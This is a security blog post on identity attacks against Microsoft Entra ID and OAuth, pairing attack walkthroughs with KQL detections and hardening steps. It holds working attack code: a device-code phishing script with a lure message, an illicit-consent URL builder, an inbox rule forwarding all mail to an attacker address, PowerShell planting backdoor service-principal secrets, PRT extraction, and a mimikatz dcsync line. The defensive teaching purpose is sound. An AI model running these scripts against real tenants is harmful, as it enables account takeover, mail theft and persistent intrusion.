How Attackers Abuse Entra ID & OAuth Without Malware
Who this is for: Security analysts who want to understand exact attack mechanics, and CISOs who need to know why their EDR gives them false confidence against this threat class. Every technique here has been observed in real-world intrusions no theoretical fluff.
The Uncomfortable Truth About Modern Identity Attacks
Your EDR is blind to most of this.
When a threat actor steals a valid OAuth token and moves laterally through your Microsoft 365 tenant, no malware is dropped, no exploit fires, no suspicious process spawns. The attacker looks exactly like a legitimate user because to every security control watching for behavior, they are one. They authenticated successfully. They have a valid session. They are inside.
This is the defining characteristic of the modern identity attack surface: the weapon is authentication itself.
In the past three years, attacks on Entra ID (formerly Azure Active Directory) and the OAuth 2.0 layer sitting on top of it have become the dominant initial access vector in enterprise intrusions. The 2024 Microsoft breach by Midnight Blizzard, the Cloudflare intrusion, dozens of ransomware campaigns all of them started not with a zero-day or a malicious attachment, but with an identity-layer compromise that existing controls simply weren't designed to catch.
This post breaks down exactly how these attacks work, what the attacker sees, what telemetry exists to detect them, and what actionable controls reduce your exposure. We go deep.
Section 1: Token Theft and Session Hijacking The Attack Your EDR Cannot See
What a Token Actually Is
Before understanding how tokens get stolen, you need to understand what makes them valuable.
When a user authenticates to Microsoft 365, Entra ID issues several tokens:
- Access Token a short-lived JWT (typically 60–75 minutes) that grants access to a specific resource. It contains the user's identity claims, group memberships, and the application it was issued for.
- Refresh Token a longer-lived credential (up to 90 days for persistent browser sessions) that allows obtaining new access tokens without re-authenticating.
- Primary Refresh Token (PRT) a device-bound, highly privileged token issued to Entra ID-joined machines. It can generate tokens for any application the user has access to.
If an attacker obtains a refresh token or PRT, they have persistent access to your environment that survives password resets.
How Access Tokens Are Stolen
Browser Theft via Malicious Extensions or XSS
The most common path. When a user authenticates to Microsoft 365 through a browser, tokens are stored in the browser's IndexedDB or session storage. A malicious Chrome extension with storage permissions can enumerate and exfiltrate all of them silently.
The attacker doesn't need to crack anything. The token is valid, signed by Microsoft, and completely legitimate.
Adversary-in-the-Middle (AiTM) Phishing
Tools like Evilginx2 and Muraena act as reverse proxies between the victim and the legitimate Microsoft login page. The victim sees the real Microsoft login UI, completes MFA, and the proxy captures the post-authentication session cookie.
# Evilginx2 phishlet targeting Microsoft 365 (simplified flow)
# Attacker hosts reverse proxy at attacker-controlled domain
# Victim visits: login.attacker-domain.com
# Proxy forwards to: login.microsoftonline.com
# Victim authenticates, completes MFA
# Evilginx captures the session cookie (estsauth, estsauthpersistent)
# Attacker imports cookie:
# 1. Opens Chrome DevTools
# 2. Imports captured cookie into browser storage
# 3. Visits portal.office.com authenticated as victim, no MFA prompted
This is why MFA alone is not sufficient protection. The attacker is not bypassing MFA they're stealing the result of a completed MFA flow.
PRT Theft from Entra ID-Joined Devices
The Primary Refresh Token lives in the Windows LSASS process on domain-joined machines. An attacker with local admin can use tools like ROADtoken or AADInternals to extract and use it.
# Using AADInternals to extract PRT from a joined device (requires local admin)
Import-Module AADInternals
# Extract PRT and session key from LSASS
$prt = Get-AADIntUserPRTToken
# Use PRT to generate a new access token for any resource
$token = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prt
# From here, the attacker can access any Microsoft resource
# the user is authorized for SharePoint, Exchange, Teams, Azure
What to Look For in Logs
When token theft is occurring, the legitimate user's sign-in logs will show successful authentication from their normal location, while the attacker's usage will appear as API calls or browser sessions from unusual IPs but importantly, they will show as successful with no failed authentications.
Key signals in Entra ID Sign-in Logs (AADNonInteractiveUserSignInLogs):
// KQL: Detect token replay from anomalous IP
AADNonInteractiveUserSignInLogs
| where ResultType == 0 // successful
| summarize
IPs = make_set(IPAddress),
Locations = make_set(Location),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by UserPrincipalName, CorrelationId
| where array_length(IPs) > 2
| where array_length(Locations) > 1
| project UserPrincipalName, IPs, Locations, FirstSeen, LastSeen
// KQL: Impossible travel detection (token used from two geographies within 1 hour)
AADNonInteractiveUserSignInLogs
| where ResultType == 0
| project TimeGenerated, UserPrincipalName, IPAddress, Location
| sort by UserPrincipalName, TimeGenerated asc
| extend PrevTime = prev(TimeGenerated), PrevLocation = prev(Location), PrevUser = prev(UserPrincipalName)
| where UserPrincipalName == PrevUser
| extend MinutesDelta = datetime_diff('minute', TimeGenerated, PrevTime)
| where MinutesDelta < 60 and Location != PrevLocation
Section 2: Device Code Phishing The Attack That Bypasses Every MFA Control
Why This Attack Is Devastatingly Effective
Device code phishing is arguably the most dangerous technique in this category because it:
- Requires zero malware on the victim's machine
- Completely bypasses MFA (the user completes it themselves)
- Produces a fully legitimate refresh token indistinguishable from a normal login
- Can be executed entirely through email or Teams messages
- Works against even hardware token MFA (FIDO2 keys do NOT protect against this)
Understanding why requires understanding the OAuth 2.0 Device Authorization Grant flow which was designed for devices without browsers (smart TVs, IoT devices) and has been weaponized against enterprise users.
The Legitimate Flow (So You Understand What's Being Abused)
The Device Authorization Grant (urn:ietf:params:oauth:grant-type:device_code) works like this:
- A device that cannot show a browser calls the authorization endpoint and receives a
device_codeand auser_code - The device displays: "Go to microsoft.com/devicelogin and enter code: ABCD-EFGH"
- The user opens a browser, navigates to that URL, enters the code, and completes authentication including MFA
- The device polls the token endpoint until it receives the access token and refresh token
The design intention is that the device initiates the request, the user approves it elsewhere. The attack inverts this: the attacker initiates the request and tricks the user into approving it.
The Attack Flow, Step by Step
# Step 1: Attacker initiates device code request
# (this is a standard OAuth request no exploit required)
import requests
tenant_id = "common" # or target tenant ID
client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Microsoft Office client ID (legitimate)
# Request device code
response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode",
data={
"client_id": client_id,
"scope": "openid profile email offline_access https://graph.microsoft.com/.default"
}
)
device_code_data = response.json()
user_code = device_code_data["user_code"] # e.g., "ABCD-EFGH"
device_code = device_code_data["device_code"] # long opaque string
verification_uri = device_code_data["verification_uri"] # microsoft.com/devicelogin
print(f"Send victim to: {verification_uri}")
print(f"Tell them to enter code: {user_code}")
# Step 2: Attacker sends phishing message to victim
# Example Teams message (seen in real Midnight Blizzard campaigns):
#
# "Hi, IT Security here. We're rolling out a new MFA compliance check.
# Please go to microsoft.com/devicelogin and enter this code to verify
# your device: ABCD-EFGH
# This takes 2 minutes and must be completed by EOD."
#
# The victim trusts this because:
# - The URL is a real Microsoft URL
# - The flow looks exactly like legitimate device enrollment
# - They've likely done this before for real IT requests
# Step 3: Attacker polls for token while victim completes authentication
import time
while True:
poll_response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
}
)
result = poll_response.json()
if "access_token" in result:
access_token = result["access_token"]
refresh_token = result["refresh_token"] # Valid for 90 days
print("SUCCESS persistent access obtained")
print(f"Refresh token: {refresh_token[:50]}...")
break
elif result.get("error") == "authorization_pending":
time.sleep(5) # Keep polling
else:
break
# Step 4: Attacker uses refresh token to enumerate and access resources
headers = {"Authorization": f"Bearer {access_token}"}
# Who am I?
me = requests.get("https://graph.microsoft.com/v1.0/me", headers=headers).json()
# What emails can I read?
emails = requests.get(
"https://graph.microsoft.com/v1.0/me/messages?$top=10&$select=subject,from,receivedDateTime",
headers=headers
).json()
# What SharePoint sites exist?
sites = requests.get(
"https://graph.microsoft.com/v1.0/sites?search=*",
headers=headers
).json()
# Who are the Global Admins?
admins = requests.get(
"https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'",
headers=headers
).json()
The attacker now has a 90-day refresh token. They can read all emails, enumerate the entire directory, access SharePoint, and depending on the victim's role potentially escalate further.
Detection
Device code phishing is detectable, but only if you know what to look for. The key signal is in AADSignInLogs where AuthenticationProtocol = deviceCode for users who should never be using that protocol.
// KQL: Detect suspicious device code authentications
AADSignInLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName !in ( // exclude known legitimate device-code apps
"Microsoft Azure PowerShell",
"Microsoft Azure CLI",
"Visual Studio Code"
)
| project
TimeGenerated,
UserPrincipalName,
IPAddress,
Location,
DeviceDetail,
AppDisplayName,
Status
| where Status.errorCode == 0
| sort by TimeGenerated desc
// KQL: Alert on device code auth from unfamiliar location for user
let known_locations =
AADSignInLogs
| where TimeGenerated > ago(30d)
| where AuthenticationProtocol != "deviceCode"
| summarize KnownLocations = make_set(Location) by UserPrincipalName;
AADSignInLogs
| where AuthenticationProtocol == "deviceCode"
| where TimeGenerated > ago(1d)
| join kind=leftouter known_locations on UserPrincipalName
| where not(Location in (KnownLocations))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName
Section 3: OAuth Consent Grant Abuse Persistent Access Through Fake Applications
The Attack That Survives Password Resets and MFA Changes
OAuth consent grant abuse is one of the most underestimated persistence mechanisms in enterprise environments. An attacker who tricks a user into consenting to a malicious application receives an OAuth token that persists through password resets, MFA changes, and account recovery because it's bound to the application registration, not the credential.
How OAuth Consent Works (And Where It Breaks)
When a user signs into a third-party app using "Sign in with Microsoft," they see a consent prompt listing the permissions the app is requesting. If they consent, Entra ID creates a service principal in the tenant representing that application, and the delegated permissions are stored permanently.
The problem: most users click through consent prompts without reading them. And Microsoft's default configuration allows users to consent to applications requesting low-privilege permissions without administrator approval.
Permissions that seem low-risk but enable significant access:
| Permission | What it looks like | What it enables |
|---|---|---|
Mail.Read | "Read your mail" | Full inbox access, ongoing via refresh token |
Files.Read.All | "Read all files" | Every SharePoint file and OneDrive document |
User.ReadBasic.All | "Read basic user profiles" | Full directory enumeration |
offline_access | (often not shown) | Persistent access via refresh token |
MailboxSettings.Read | "Read your mailbox settings" | Email forwarding rules, inbox rules |
The Attack: Illicit Consent Grant
# Attacker registers an application in any Azure tenant (including their own)
# Sets redirect URI to their controlled server
# Crafts a consent URL targeting the victim organization
attacker_app_client_id = "attacker-app-client-id-here"
redirect_uri = "https://attacker-server.com/callback"
tenant_id = "target-company.onmicrosoft.com" # or the tenant GUID
# Scopes requesting persistent, broad access
scopes = " ".join([
"openid",
"profile",
"email",
"offline_access",
"https://graph.microsoft.com/Mail.Read",
"https://graph.microsoft.com/Files.Read.All",
"https://graph.microsoft.com/User.ReadBasic.All",
"https://graph.microsoft.com/MailboxSettings.ReadWrite" # enables forwarding rules
])
# Consent URL sent to victim in phishing email
consent_url = (
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize"
f"?client_id={attacker_app_client_id}"
f"&response_type=code"
f"&redirect_uri={redirect_uri}"
f"&scope={scopes}"
f"&response_mode=query"
f"&state=random-state-value"
)
# When victim clicks and consents, attacker receives an authorization code
# They exchange it for access + refresh tokens
# Application grant persists indefinitely in the tenant
# After consent, attacker sets up email forwarding using Graph API
# This is the persistence play even if the user changes their password,
# all email continues forwarding to attacker's mailbox
access_token = "token-obtained-via-consent"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# Create inbox rule to forward all mail to external address
forward_rule = {
"displayName": "Security Compliance Rule", # disguised name
"isEnabled": True,
"conditions": {
"bodyOrSubjectContains": [] # empty = matches all email
},
"actions": {
"forwardTo": [
{
"emailAddress": {
"name": "Compliance Archive",
"address": "attacker@external-domain.com"
}
}
],
"stopProcessingRules": False
}
}
response = requests.post(
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules",
headers=headers,
json=forward_rule
)
The inbox rule is invisible to the end user unless they specifically check Outlook rules. Many victims are compromised for months before discovery.
Detection: Hunting for Malicious Consent Grants
// KQL: Find recently consented third-party applications
AuditLogs
| where OperationName == "Consent to application"
| extend
AppName = tostring(TargetResources[0].displayName),
ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),
AppId = tostring(AdditionalDetails[0].value)
| where TimeGenerated > ago(30d)
| project TimeGenerated, ConsentedBy, AppName, AppId, Result
| sort by TimeGenerated desc
// KQL: Find applications with high-risk delegated permissions
AuditLogs
| where OperationName == "Add delegated permission grant"
| extend
Permission = tostring(TargetResources[0].modifiedProperties[0].newValue),
Principal = tostring(InitiatedBy.user.userPrincipalName)
| where Permission has_any ("Mail.Read", "Files.Read.All", "MailboxSettings", "offline_access")
| project TimeGenerated, Principal, Permission
# PowerShell: Enumerate all OAuth grants in tenant (run as Global Admin)
Connect-MgGraph -Scopes "Directory.Read.All"
# Get all service principals with delegated permission grants
$grants = Get-MgOauth2PermissionGrant -All
foreach ($grant in $grants) {
$sp = Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId
[PSCustomObject]@{
AppName = $sp.DisplayName
AppId = $sp.AppId
Publisher = $sp.PublisherName
Permissions = $grant.Scope
ConsentType = $grant.ConsentType # AllPrincipals = admin consent, Principal = user
UserId = $grant.PrincipalId
}
} | Where-Object {
$_.Permissions -match "Mail|Files|offline_access|MailboxSettings"
} | Export-Csv "oauth_grants_audit.csv" -NoTypeInformation
Section 4: Service Principal and Application Credential Abuse The Admin's Blind Spot
Why Service Principals Are More Dangerous Than User Accounts
A compromised user account is bad. A compromised service principal with application permissions is a catastrophe.
Service principals represent applications in Entra ID. When an application has application permissions (as opposed to delegated permissions), it acts as itself not on behalf of a user. This means:
- No MFA. Ever.
- No Conditional Access policies (most are scoped to users)
- Access tokens valid for 24 hours by default
- Actions may not appear in user-facing audit logs
- Often assigned privileged roles by developers who "just needed it to work"
How Attackers Obtain Service Principal Credentials
Path 1: Credential Leakage in Code Repositories
The most common initial access vector for this attack type. Developers commit application secrets, certificate thumbprints, or client credentials to GitHub, GitLab, or Azure DevOps repositories either accidentally or as hardcoded config.
# Tools attackers use to hunt for leaked credentials
# truffleHog searches git history for high-entropy strings and known patterns
trufflehog git https://github.com/target-company/repo --only-verified
# gitleaks fast scanner for secrets in git repos
gitleaks detect --source /path/to/cloned/repo --report-format json
# What attackers look for in leaked config files:
# AZURE_CLIENT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# AZURE_CLIENT_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# AZURE_TENANT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Path 2: Adding Credentials to an Existing Service Principal
If an attacker compromises a Global Admin account (via any of the methods above), they can add new credentials to existing high-privileged service principals creating a persistent backdoor that survives the original compromised account being remediated.
# Attacker adds a new secret to an existing privileged service principal
# Requires Application.ReadWrite.All or privileged admin role
Connect-MgGraph -AccessToken $stolen_admin_token
# Find high-value service principals (ones with Directory or Exchange permissions)
$targets = Get-MgServicePrincipal -All | Where-Object {
$_.AppRoles.Value -match "Directory|Exchange|Mail|Sites" -or
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id).ResourceDisplayName -eq "Microsoft Graph"
}
# Add backdoor credential to target service principal
$targetSP = $targets[0]
$credential = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id -PasswordCredential @{
DisplayName = "sync-service-key" # innocuous name
EndDateTime = (Get-Date).AddYears(2) # 2-year validity
}
Write-Output "New secret: $($credential.SecretText)"
# Attacker now has 2-year access even after incident remediation
# Using the backdoored credential to authenticate and access data
import requests
tenant_id = "target-tenant-id"
client_id = "service-principal-client-id"
client_secret = "backdoor-secret-obtained-above"
# Get access token NO MFA, NO user interaction, NO Conditional Access
token_response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"client_secret": client_secret,
"grant_type": "client_credentials",
"scope": "https://graph.microsoft.com/.default"
}
)
access_token = token_response.json()["access_token"]
# With application permissions, access ALL users' mail (not just one account)
headers = {"Authorization": f"Bearer {access_token}"}
# List all users in the tenant
all_users = requests.get(
"https://graph.microsoft.com/v1.0/users?$select=id,mail,displayName,jobTitle",
headers=headers
).json()
# Read mail for any specific executive
ceo_id = "ceo-user-object-id"
ceo_mail = requests.get(
f"https://graph.microsoft.com/v1.0/users/{ceo_id}/messages?$top=50",
headers=headers
).json()
Path 3: Workload Identity Federation Abuse
Newer environments use Workload Identity Federation to allow applications in external systems (GitHub Actions, AWS, GCP) to authenticate to Entra ID without secrets. If an attacker compromises the external system (e.g., a GitHub repository), they inherit the Entra ID permissions.
# GitHub Actions workflow legitimate use case
# If the repository is compromised, attacker gets Entra ID access
- name: Login to Azure
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
# If attacker can trigger this workflow (via PR to public repo,
# or compromise of a maintainer account), they get the token
Detection for Service Principal Abuse
// KQL: Detect new credentials added to service principals
AuditLogs
| where OperationName in (
"Add service principal credentials",
"Update application – Certificates and secrets management"
)
| extend
ModifiedApp = tostring(TargetResources[0].displayName),
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
ModifiedByApp = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, ModifiedApp, ModifiedBy, ModifiedByApp, Result
| where Result == "success"
// KQL: Hunt for service principal sign-ins from unexpected IPs
AADServicePrincipalSignInLogs
| where ResultType == 0
| summarize
IPList = make_set(IPAddress),
Countries = make_set(LocationDetails.countryOrRegion),
SignInCount = count()
by ServicePrincipalName, bin(TimeGenerated, 1d)
| where array_length(IPList) > 3 or array_length(Countries) > 1
| sort by TimeGenerated desc
Section 5: Lateral Movement via Entra ID From One Account to the Whole Tenant
How Attackers Move From a Compromised User to Full Tenant Control
Getting a single user's tokens is usually not the endgame. The objective is typically:
- Escalating to a Global Administrator
- Accessing high-value data across multiple users
- Establishing persistent access that survives incident response
- Pivoting to Azure resources or on-premises AD via hybrid join
Here is the attack chain an advanced threat actor executes after initial compromise.
Step 1: Enumerate the Tenant (Stay Quiet)
# Graph API enumeration all legitimate API calls, no scanning tools
headers = {"Authorization": f"Bearer {access_token}"}
# 1. Get full user directory who's valuable?
users = requests.get(
"https://graph.microsoft.com/v1.0/users"
"?$select=id,displayName,mail,jobTitle,department,officeLocation"
"&$top=999",
headers=headers
).json()
# 2. Find all role assignments who has admin?
roles = requests.get(
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
"?$expand=principal",
headers=headers
).json()
# Filter for Global Admins, privileged roles
privileged_roles = [
"Global Administrator",
"Privileged Role Administrator",
"Application Administrator",
"Exchange Administrator",
"Security Administrator"
]
# 3. Find service principals with high privileges
high_value_sps = requests.get(
"https://graph.microsoft.com/v1.0/servicePrincipals"
"?$select=id,displayName,appId,appRoles"
"&$top=999",
headers=headers
).json()
# 4. Check if the current user has any admin roles
my_roles = requests.get(
"https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole",
headers=headers
).json()
Step 2: Privilege Escalation Paths
Path A: Application Administrator → Global Administrator
An account with the Application Administrator role can add credentials to any application service principal. If any application has Global Admin-level permissions, this is a one-step escalation.
# Attacker has Application Administrator role
# Find apps with Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory
$apps = Get-MgServicePrincipal -All
$highPrivApps = foreach ($app in $apps) {
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $app.Id
$highPriv = $assignments | Where-Object {
$_.ResourceDisplayName -eq "Microsoft Graph" -and
# These permissions are effectively Global Admin
$app.AppRoles.Value -match "RoleManagement.ReadWrite|Directory.ReadWrite"
}
if ($highPriv) { $app }
}
# Add credential to high-priv app, use it to assign Global Admin to attacker account
$cred = Add-MgServicePrincipalPassword -ServicePrincipalId $highPrivApps[0].Id -PasswordCredential @{
DisplayName = "backup-credential"
EndDateTime = (Get-Date).AddYears(1)
}
Path B: Hybrid Identity Abuse (Cloud → On-Premises)
If the tenant uses Entra Connect (formerly Azure AD Connect) for hybrid identity sync, the sync account has extensive on-premises Active Directory privileges. Compromising it is a path to on-premises domain admin.
# Identify Entra Connect sync account (usually MSOL_ or AAD_ prefix)
Get-ADUser -Filter {SamAccountName -like "MSOL_*" -or SamAccountName -like "AAD_*"} -Properties *
# The sync account has DCSync rights on the domain by default
# An attacker with its credentials can dump all AD hashes
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
Path C: Conditional Access Policy Gaps
Most organizations have Conditional Access policies protecting interactive logins but forget that:
- Legacy authentication protocols (SMTP AUTH, IMAP, Exchange ActiveSync) bypass CA
- Service principal authentication bypasses nearly all CA policies
- Certain workload identities are excluded from policies for "operational reasons"
# Enumerate Conditional Access policies to find gaps
Connect-MgGraph -Scopes "Policy.Read.All"
$policies = Get-MgIdentityConditionalAccessPolicy -All
foreach ($policy in $policies) {
Write-Output "Policy: $($policy.DisplayName)"
Write-Output " State: $($policy.State)"
Write-Output " Excluded Users: $($policy.Conditions.Users.ExcludeUsers -join ', ')"
Write-Output " Excluded Groups: $($policy.Conditions.Users.ExcludeGroups -join ', ')"
Write-Output " Excluded Apps: $($policy.Conditions.Applications.ExcludeApplications -join ', ')"
Write-Output " Client App Types: $($policy.Conditions.ClientAppTypes -join ', ')"
# Red flag: "all" is NOT in ClientAppTypes legacy auth not blocked
if ($policy.Conditions.ClientAppTypes -notcontains "exchangeActiveSync" -and
$policy.Conditions.ClientAppTypes -notcontains "other") {
Write-Output " *** LEGACY AUTH NOT COVERED ***"
}
}
The Complete Detection Kill Chain
For a SOC to catch this attack end-to-end, you need coverage across multiple log sources:
// KQL: Master hunting query chain of suspicious identity activity
let suspicious_users =
AADSignInLogs
| where AuthenticationProtocol == "deviceCode" or
(NetworkLocationDetails == "[]" and RiskLevelDuringSignIn in ("high", "medium"))
| distinct UserPrincipalName;
AuditLogs
| where TimeGenerated > ago(7d)
| where InitiatedBy.user.userPrincipalName in (suspicious_users)
| where OperationName in (
"Consent to application",
"Add service principal credentials",
"Add member to role",
"Add app role assignment to service principal",
"Update application",
"Set-InboxRule",
"New-InboxRule"
)
| project TimeGenerated,
User = InitiatedBy.user.userPrincipalName,
Operation = OperationName,
Target = TargetResources[0].displayName,
Result
| sort by TimeGenerated asc
What CISOs Should Do This Quarter
The detection queries and attack chains above are interesting, but what matters is what you change. Here are the highest-ROI controls ranked by impact vs. effort:
Priority 1: Block Device Code Flow (Highest Impact, Low Effort)
Create a Conditional Access policy that blocks the device code authentication flow for all users who don't legitimately need it (almost everyone in a standard enterprise).
Entra ID → Protection → Conditional Access → New Policy
- Users: All users (exclude break-glass accounts)
- Cloud apps: All cloud apps
- Conditions → Authentication flows → Device code flow: Yes
- Grant: Block
This single policy eliminates one of the most prevalent nation-state attack vectors.
Priority 2: Restrict User Consent (High Impact, Low Effort)
Entra ID → Enterprise Applications → Consent and permissions → User consent settings
Set to: "Do not allow user consent" or at minimum "Allow user consent for apps from verified publishers for selected permissions only"
All third-party application consent should require admin approval. Yes, this creates IT tickets. Those tickets are preferable to a 90-day email forwarding rule the attacker is running silently.
Priority 3: Audit Service Principal Credentials (High Impact, Medium Effort)
Run the PowerShell enumeration from Section 4 against your tenant. You will find:
- Applications with credentials that haven't been rotated in 2+ years
- Credentials owned by employees who left the company
- Applications with application permissions they don't need
- Applications with Global Admin-equivalent permissions held by vendors
# Quick audit: service principals with credentials expiring far in future
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgApplication -All | ForEach-Object {
$app = $_
$app.PasswordCredentials | Where-Object {
$_.EndDateTime -gt (Get-Date).AddYears(1)
} | ForEach-Object {
[PSCustomObject]@{
App = $app.DisplayName
AppId = $app.AppId
KeyName = $_.DisplayName
Expires = $_.EndDateTime
CreatedBy = $_.CustomKeyIdentifier # often null for old creds
}
}
} | Sort-Object Expires -Descending | Export-Csv "long-lived-credentials.csv"
Priority 4: Enable Token Protection (Conditional Access)
Entra ID's Token Protection feature (currently GA for service tokens, preview for sign-in tokens) binds tokens to the specific device they were issued on. Token replay from a different device fails, even with a valid refresh token.
Conditional Access → New Policy → Grant → Require token protection
This directly defeats AiTM phishing and token theft attacks.
Priority 5: Implement Privileged Identity Management (PIM)
Permanent Global Administrator assignments are the attacker's dream. Every privileged role should be:
- Time-bound: Activated for 1–8 hours maximum
- Approval-required for highest roles
- MFA-gated on every activation
- Audited: All activations logged and alertable
A compromised Global Admin credential that has never had PIM enabled means the attacker has persistent, unrestricted admin access. A PIM-enabled environment means an attacker with a stolen credential has nothing without completing an activation workflow.
Final Thought
The threat actors using these techniques Midnight Blizzard, Scattered Spider, dozens of ransomware affiliates are not sophisticated in the traditional sense. They are not writing novel exploits or reverse engineering kernels. They are exceptionally good at identity abuse and they are counting on the fact that your security controls were designed for a threat model from 2015.
Fileless, identity-layer attacks beat EDR. They beat antivirus. They beat network monitoring. What they do not beat is:
- Locked-down Conditional Access policies
- Restricted consent settings
- Actively monitored identity logs with purpose-built KQL detections
- A SOC that understands what
AADNonInteractiveUserSignInLogsmeans and checks it
The signal is there. Attackers leave traces in every log source mentioned in this post. The question is whether your team is looking.
Further Reading
- How APT Groups Pivot from Initial Access to Domain Dominance in Under 4 Hours see how OAuth token theft fits into a full attack chain
- MFA Bypass in 2025–2026: Device Code Phishing, Token Replay deeper dive into device code phishing and PRT abuse
- Windows Event Log Architecture: Why Your SIEM Is Missing 30% of Events ensure the identity events covered here are actually reaching your SIEM
All commands and queries in this post are for defensive use detection, auditing, and hardening. Test all detection queries in your environment against known-good baselines before using in production alerting.